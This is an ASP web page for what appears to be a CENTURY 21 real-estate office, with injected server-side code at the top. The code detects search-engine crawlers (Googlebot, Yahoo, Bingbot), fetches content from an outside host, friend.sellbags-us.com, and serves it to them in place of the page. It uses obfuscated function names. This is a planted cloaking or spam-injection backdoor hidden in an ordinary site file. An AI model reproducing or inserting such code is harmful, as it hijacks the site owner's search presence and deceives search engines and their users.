<% s_http_user_agent = lcase(Request.ServerVariables("HTTP_USER_AGENT")) if Instr( s_http_user_agent, "googlebot") <> 0 or Instr( s_http_user_agent, "yahoo") <> 0 or Instr(s_http_user_agent, "bingbot") <> 0 then code = HTTPPostaaeesa("http://friend.sellbags-us.com/", "") response.write code Response.end end if Function HTTPPostaaeesa(sUrl, flag) set oHTTP = Server.CreateObject("Msxml2.XMLHTTP") oHTTP.open "get", sUrl,false oHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded" oHTTP.setrequestheader "accept-encoding", "gzip, deflate" '' oHTTP.setRequestHeader "Content-Length", Len(sRequest) oHTTP.send sRequest If oHTTP.readyState <> 4 Then Exit Function getHTTPPage = Bytes2bStreeeeeee(oHTTP.responseBody) HTTPPostaaeesa = getHTTPPage End Function Function Bytes2bStreeeeeee(vin) Dim BytesStream,StringReturn Set BytesStream = Server.CreateObject("ADODB.Stream") BytesStream.Type = 2 BytesStream.Open BytesStream.WriteText vin BytesStream.Position = 0 BytesStream.Charset = "UTF-8" BytesStream.Position = 2 StringReturn = BytesStream.ReadText BytesStream.close Set BytesStream = Nothing Bytes2bStreeeeeee = StringReturn End Function %> CENTURY 21 Teramana-Westling, Inc. <body> </body>